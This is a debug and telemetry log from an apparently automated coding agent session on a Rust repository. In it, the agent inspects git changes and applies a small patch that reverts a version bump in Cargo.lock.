Wall time 0.2 seconds\n[2026-07-12T04:07:27.909Z] [INFO] Output:\n[2026-07-12T04:07:27.909Z] [INFO] \n[2026-07-12T04:07:27.909Z] [INFO]  D .gitkeep\n[2026-07-12T04:07:27.909Z] [INFO]  M Cargo.lock\n[2026-07-12T04:07:27.909Z] [INFO] ?? changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:07:27.909Z] [INFO] ?? docs/case-studies/issue-5/\n[2026-07-12T04:07:27.909Z] [INFO] diff --git a/Cargo.lock b/Cargo.lock\n[2026-07-12T04:07:27.909Z] [INFO] index effb973..bf607b7 100644\n[2026-07-12T04:07:27.909Z] [INFO] --- a/Cargo.lock\n[2026-07-12T04:07:27.909Z] [INFO] +++ b/Cargo.lock\n[2026-07-12T04:07:27.909Z] [INFO] @@ -315,7 +315,7 @@ checksum = \"f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79\"\n[2026-07-12T04:07:27.909Z] [INFO]  \n[2026-07-12T04:07:27.909Z] [INFO]  [[package]]\n[2026-07-12T04:07:27.909Z] [INFO]  name = \"meta-ontology\"\n[2026-07-12T04:07:27.909Z] [INFO] -version = \"0.7.0\"\n[2026-07-12T04:07:27.909Z] [INFO] +version = \"0.8.0\"\n[2026-07-12T04:07:27.909Z] [INFO]  dependencies = [\n[2026-07-12T04:07:27.909Z] [INFO]   \"clap\",\n[2026-07-12T04:07:27.909Z] [INFO]   \"links-notation\",\n[2026-07-12T04:07:27.909Z] [INFO] /home/box/.nvm/versions/node/v20.20.2/bin/npx\n[2026-07-12T04:07:27.909Z] [INFO] #!/usr/bin/env rust-script\n[2026-07-12T04:07:27.909Z] [INFO] //! Check for files exceeding the maximum allowed line count\n[2026-07-12T04:07:27.909Z] [INFO] //! Exits with error code 1 if any files exceed the limit\n[2026-07-12T04:07:27.909Z] [INFO] //!\n[2026-07-12T04:07:27.909Z] [INFO] //! Usage: rust-script scripts/check-file-size.rs\n[2026-07-12T04:07:27.909Z] [INFO] //!\n[2026-07-12T04:07:27.909Z] [INFO] //! ```cargo\n[2026-07-12T04:07:27.909Z] [INFO] //! [dependencies]\n[2026-07-12T04:07:27.909Z] [INFO] //! walkdir = \"2\"\n[2026-07-12T04:07:27.909Z] [INFO] //! ```\n[2026-07-12T04:07:27.909Z] [INFO] \n[2026-07-12T04:07:27.909Z] [INFO] use std::fs;\n[2026-07-12T04:07:27.909Z] [INFO] use std::path::Path;\n[2026-07-12T04:07:27.909Z] [INFO] use std::process::exit;\n[2026-07-12T04:07:27.909Z] [INFO] use walkdir::WalkDir;\n[2026-07-12T04:07:27.909Z] [INFO] \n[2026-07-12T04:07:27.909Z] [INFO] const MAX_LINES: usize = 1000;\n[2026-07-12T04:07:27.909Z] [INFO] const FILE_EXTENSIONS: &[&str] = &[\".rs\"];\n[2026-07-12T04:07:27.909Z] [INFO] const EXCLUDE_PATTERNS: &[&str] = &[\"target\", \".git\", \"node_modules\"];\n[2026-07-12T04:07:27.909Z] [INFO] \n[2026-07-12T04:07:27.909Z] [INFO] fn should_exclude(path: &Path) -> bool {\n[2026-07-12T04:07:27.909Z] [INFO]     let path_str = path.to_string_lossy();\n[2026-07-12T04:07:27.909Z] [INFO]     EXCLUDE_PATTERNS.iter().any(|pattern| path_str.contains(pattern))\n[2026-07-12T04:07:27.909Z] [INFO] }\n[2026-07-12T04:07:27.909Z] [INFO] \n[2026-07-12T04:07:27.909Z] [INFO] fn has_valid_extension(path: &Path) -> bool {\n[2026-07-12T04:07:27.909Z] [INFO]     if let Some(ext) = path.extension() {\n[2026-07-12T04:07:27.909Z] [INFO]         let ext_with_dot = format!(\".{}\", ext.to_string_lossy());\n[2026-07-12T04:07:27.909Z] [INFO]         FILE_EXTENSIONS.contains(&ext_with_dot.as_str())\n[2026-07-12T04:07:27.909Z] [INFO]     } else {\n[2026-07-12T04:07:27.909Z] [INFO]         false\n[2026-07-12T04:07:27.909Z] [INFO]     }\n[2026-07-12T04:07:27.909Z] [INFO] }\n[2026-07-12T04:07:27.909Z] [INFO] \n[2026-07-12T04:07:27.909Z] [INFO] fn count_lines(path: &Path) -> Result {\n[2026-07-12T04:07:27.909Z] [INFO]     let content = fs::read_to_string(path)?;\n[2026-07-12T04:07:27.909Z] [INFO]     Ok(content.lines().count())\n[2026-07-12T04:07:27.909Z] [INFO] }\n[2026-07-12T04:07:27.909Z] [INFO] \n[2026-07-12T04:07:27.909Z] [INFO] struct Violation {\n[2026-07-12T04:07:27.909Z] [INFO]     file: String,\n[2026-07-12T04:07:27.909Z] [INFO]     lines: usize,\n[2026-07-12T04:07:27.909Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:27.897Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:27.909Z] [INFO] 2026-07-12T04:07:27.897483Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_hvBWvP0jKVO0Z4rhqDstgpUq duration_ms=203 success=true arguments_length=382 output_length=1654 output_line_count=65 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:27.897Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:27.909Z] [INFO] 2026-07-12T04:07:27.897704Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_hvBWvP0jKVO0Z4rhqDstgpUq tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=203 total_duration_ms=204\n[2026-07-12T04:07:27.909Z] [INFO] \n[2026-07-12T04:07:27.937Z] [INFO] 2026-07-12T04:07:27.934343Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:07:27.937Z] [INFO] \n[2026-07-12T04:07:27.977Z] [INFO] 2026-07-12T04:07:27.977362Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:07:27.977Z] [INFO] \n[2026-07-12T04:07:27.983Z] [INFO] 2026-07-12T04:07:27.980087Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:07:27.983Z] [INFO] \n[2026-07-12T04:07:27.993Z] [INFO] 2026-07-12T04:07:27.990452Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:07:27.993Z] [INFO] \n[2026-07-12T04:07:27.997Z] [INFO] 2026-07-12T04:07:27.997503Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:07:27.997Z] [INFO] \n[2026-07-12T04:07:28.014Z] [INFO] 2026-07-12T04:07:28.011129Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:28.011Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:28.014Z] [INFO] 2026-07-12T04:07:28.011206Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:28.011Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:28.014Z] [INFO] 2026-07-12T04:07:28.011224Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:07:28.014Z] [INFO] \n[2026-07-12T04:07:28.117Z] [INFO] 2026-07-12T04:07:28.114877Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:07:28.117Z] [INFO] 2026-07-12T04:07:28.114980Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:07:28 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"28e239da-6cba-4d5d-9652-75c1e713b248\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=99LXqsrrkXoHtuNaqBSpdPl4RjIC5Nh9W0dazD7NoA96nosMlKDSokJBVMWdoN66RMnUkdcIyX27nWliCY5CC82gazoxbemV1HTtG%2FirPeY2GFswcgh%2Bla2Qd0uB\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2e602883afea-FRA\"} version=HTTP/1.1\n[2026-07-12T04:07:28.117Z] [INFO] \n[2026-07-12T04:07:30.393Z] [INFO] 2026-07-12T04:07:30.392896Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5313025d708191aeb875bdcd24030c\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMCR9nNITkhdSPO4d7e2IpMyCvqe8b0rcjqce0p3Op7pyMti5G3WrvOiHNmkJ0F9GG32G5DSVlrBCRTMcrQ9OSxoeJedYcGh_cCeJORLyLlm09EPEP-JagG98Iuu1MMakkOD30T8LBCz7kWTkkRv4bBU9hBw6ss41f7SOi7B7naigFwEb46lMhCElOh8BFrvi7TU2sfIHS2Rh7qv49K4d_sAE7bcMYldrfLuNxhjJEw2iUjlkTGjftEbm8LzcxitFjLnVq1SgIYL3ALnKkrm1NN0BfJJry6FvNhZSD7Owf8mP2vQStaxyEwe6PsTUVkDngO3CRpcEVtB2BGBHR6Tpmmm-BjsMVK0zR_32Cjltb2JyLKtYLyvp1SZodrqIdGFxMRVpU4CJKh2ve5VXWm_g55QUiWhks0akhKDN8yaSwuT6-rD3AzqNWv4buhHp-F1hJ70UtfzBJOX7exkuiv0j-v1ElMErRMpVnX3phUekGoeIBYkP_SN41ktcnZz8qUZWCxxdL2-QEdSu4FxPK4_bEeLU8tpgCcTlHhlzZ0RGuzRKMwF0EPqCEA1MqX_acVHRtAqnW-_5Vaaw9KqfOUXXQ2Z23HYcIXvxoA3j2Eepi2IL4dQnUFDEHhvTJ6xMWSNtaaYV7JhTLQe7wr2W0zq8eUgUUM5mXzV6laozfwXAQ7-6jOqtRfRn3j5sDovuH-fl6-qGG7I7FeiTunL7tsj3DYRYk6aYkZP2icada57EIaAHs-4q-nZ10jrVq98tmB0tj7r--c_lcZ-AQJ281JhF8m_5QfK-I61MGXi898uYzwHmtlgi3yi6qkIR7jjZfzXFF-1AwdIBC38FCvON7RyEE01pXG3SpKRq5Ddu5FtY_SziO0pG2sOX4h5iUWXSDGCrZwa0QO4or7SadoXCkxO4ffig==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:30.393Z] [INFO] \n[2026-07-12T04:07:31.923Z] [INFO] 2026-07-12T04:07:31.921555Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5313025d708191aeb875bdcd24030c\"), summary: [SummaryText { text: \"**Applying patch and staging changes**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMD5f04FDyIridFa5255ZggsHWj-vfPLHGuzc8O5FnetEYFZKugzyMdaT7Y6qUvpI-s1hxL-ibAguP704yytRiFCZumuJED6IfVB3RhdQl9ORWRvScl648GfjBRbgIL4fP5l0MGRHDT31z8Lx-qGy1g05_aOr6jo86ghxf_yHvf-dzU586ovgQRB69RohBIkIxNkZpttpW7D1pYIylpGBTyaY7ChXol7l8udCw2P9tPmuOK1ZJ1n0ZACBaKt9Ers_91t_3jYnMLxb5iBSEZy8yfikLKUXbo3goYRetDTIFi5SY1i0MicnB0hxlYkdlbYy7DmwLDw6N2-mek5ulzwikw2cK-vVvhF3c-LqV9e5o2szsh1M6r9LwJ6v_8vmVBGSv-IPLmGbFdI1izGJp-dYUzO-CyIQdCi3GUIKl2SR6z1qh4qjY7WFJ2m5mIGRCbUybzs6VY-FGVs5SwUxVoDfjRdu2qUSNpdrviQB4_85fWC3MnjxXd-g8tEEeVkr-44O7O7eUtA6iLAXBL_qvplm6R7gPkUlQ7WWNrCfK66OTHSMpAw5ObcB2TihV27XHDO27vljZfkH2sJMwiBjBH3plOib_ohGh0zOnm8a5bWpK1X1FRs0R1NlFz6FUVRy4Sd7PnQB4PQJoYa04dAFKg67ZvTFabkLWORqil40JKQf0jUdHjArkzSm1ZZuwC7Mriz-QfuAvbTbkcMPhNwjBbAGoutlsbRhO5BdQMAd1akWPA_rQ417BP8aPD_MY8m3iLhCzHahZjDgbYA_MRTOH22QvNwj6tKNuu-MQuW4kD1nTJNqubJfXZtYa3mZid-l-whYSYyaydaf5GvA6Pqn7HdR9eOIAmmsKEyQ8QD745RMN3oDSR6Pn0yXFTvoFgEQ3aop4TTbf01x9Ffa8zWX5c4Wh4HJ6cAj-zAd2rl3ZlMHJuF9EKtu0AB0oxnI1q-flMI9S6ZtXxnR0-M9H3sCWI_ECZ1r789BrwykBPbjIxiRtlJxRFPpiNqR3f7o45giRRAAbHpjSqs2sbbzcRGAbUnM2ZNtHTcRmDJZ-N98LRqMHWdr5LD5W_8t0eZvqSxH2XlnErrXNj7x0ZMW-CywHgALwHZKMUOArdmfq-CavYjbjwgiuAoPoxbH_i_CGO7wpyNDL02YMQaRXdz9ru0NxVhDEv3OmYEBcFoo9GqGVvhs10v6o6KXdmQ9B2PK66EFeqB2BqczQIVse4ZPLCVht-VYze_S8EWn2LBj7eEo8JXXbzGkHaWXA0zVUpMkGMT-locOCrC1p8eLmwQT-_ogKCFfsCtA_NwDkd7H3biNSleGsg1x8hu2FG9yP6oCWR5RDkqLNl25m9I7hcbhDlBjcroS-pkg==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:31.923Z] [INFO] \n[2026-07-12T04:07:31.926Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_39\",\"type\":\"reasoning\",\"text\":\"**Applying patch and staging changes**\"}}\n[2026-07-12T04:07:31.926Z] [INFO] \n[2026-07-12T04:07:31.930Z] [INFO] 2026-07-12T04:07:31.925323Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a531303e7f88191b9558963f958be21\"), status: Some(\"in_progress\"), call_id: \"call_saEAHJSxbEHFfMnQJWQco5Yj\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:31.930Z] [INFO] \n[2026-07-12T04:07:33.250Z] [INFO] 2026-07-12T04:07:33.245354Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const patch=\"*** Begin Patch\\n*** Update File: /tmp/gh-issue-solver-1783828904396/Cargo.lock\\n@@\\n name = \\\"meta-ontology\\\"\\n-version = \\\"0.8.0\\\"\\n+version = \\\"0.7.0\\\"\\n*** End Patch\";\n[2026-07-12T04:07:33.250Z] [INFO] text(await tools.apply_patch(patch));\n[2026-07-12T04:07:33.250Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:07:33.250Z] [INFO] \n[2026-07-12T04:07:33.255Z] [INFO] 2026-07-12T04:07:33.254701Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5313001f148191ac0b209ff8bdd877\"\n[2026-07-12T04:07:33.255Z] [INFO] 2026-07-12T04:07:33.254753Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=65203 output_token_count=153 cached_token_count=63232 reasoning_token_count=68 tool_token_count=65356 ttft_ms=2382 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:33.254Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:33.255Z] [INFO] 2026-07-12T04:07:33.254792Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=65203 output_token_count=153 cached_token_count=63232 reasoning_token_count=68 tool_token_count=65356 ttft_ms=2382 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:33.254Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:33.255Z] [INFO] \n[2026-07-12T04:07:33.347Z] [INFO] 2026-07-12T04:07:33.346254Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=apply_patch call_id=exec-5f8935fb-1f22-4ee0-bdd9-e006062f75b7 decision=approved source=Config event.timestamp=2026-07-12T04:07:33.346Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:33.347Z] [INFO] \n[2026-07-12T04:07:33.348Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_40\",\"type\":\"file_change\",\"changes\":[{\"path\":\"/tmp/gh-issue-solver-1783828904396/Cargo.lock\",\"kind\":\"update\"}],\"status\":\"in_progress\"}}\n[2026-07-12T04:07:33.348Z] [INFO] \n[2026-07-12T04:07:33.353Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_40\",\"type\":\"file_change\",\"changes\":[{\"path\":\"/tmp/gh-issue-solver-1783828904396/Cargo.lock\",\"kind\":\"update\"}],\"status\":\"completed\"}}\n[2026-07-12T04:07:33.353Z] [INFO] \n[2026-07-12T04:07:33.357Z] [INFO] 2026-07-12T04:07:33.355540Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=apply_patch call_id=exec-5f8935fb-1f22-4ee0-bdd9-e006062f75b7 arguments=*** Begin Patch\n[2026-07-12T04:07:33.357Z] [INFO] *** Update File: /tmp/gh-issue-solver-1783828904396/Cargo.lock\n[2026-07-12T04:07:33.357Z] [INFO] @@\n[2026-07-12T04:07:33.357Z] [INFO]  name = \"meta-ontology\"\n[2026-07-12T04:07:33.357Z] [INFO] -version = \"0.8.0\"\n[2026-07-12T04:07:33.357Z] [INFO] +version = \"0.7.0\"\n[2026-07-12T04:07:33.357Z] [INFO] *** End Patch duration_ms=11 success=true output=Exit code: 0\n[2026-07-12T04:07:33.357Z] [INFO] Wall time: 0 seconds\n[2026-07-12T04:07:33.357Z] [INFO] Output:\n[2026-07-12T04:07:33.357Z] [INFO] Success. Updated the following files:\n[2026-07-12T04:07:33.357Z] [INFO] M /tmp/gh-issue-solver-1783828904396/Cargo.lock\n[2026-07-12T04:07:33.357Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:33.355Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:33.357Z] [INFO] 2026-07-12T04:07:33.355575Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=apply_patch call_id=exec-5f8935fb-1f22-4ee0-bdd9-e006062f75b7 duration_ms=11 success=true arguments_length=157 output_length=128 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:33.355Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:33.357Z] [INFO] \n[2026-07-12T04:07:33.370Z] [INFO] 2026-07-12T04:07:33.365507Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_saEAHJSxbEHFfMnQJWQco5Yj arguments=const patch=\"*** Begin Patch\\n*** Update File: /tmp/gh-issue-solver-1783828904396/Cargo.lock\\n@@\\n name = \\\"meta-ontology\\\"\\n-version = \\\"0.8.0\\\"\\n+version = \\\"0.7.0\\\"\\n*** End Patch\";\n[2026-07-12T04:07:33.370Z] [INFO] text(await tools.apply_patch(patch));\n[2026-07-12T04:07:33.370Z] [INFO]  duration_ms=99 success=true output=Script completed\n[2026-07-12T04:07:33.370Z] [INFO] Wall time 0.1 seconds\n[2026-07-12T04:07:33.370Z] [INFO] Output:\n[2026-07-12T04:07:33.370Z] [INFO] \n[2026-07-12T04:07:33.370Z] [INFO] {} mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:33.365Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:33.370Z] [INFO] 2026-07-12T04:07:33.365549Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_saEAHJSxbEHFfMnQJWQco5Yj duration_ms=99 success=true arguments_length=223 output_length=50 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:33.365Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:33.370Z] [INFO] 2026-07-12T04:07:33.365622Z  INFO 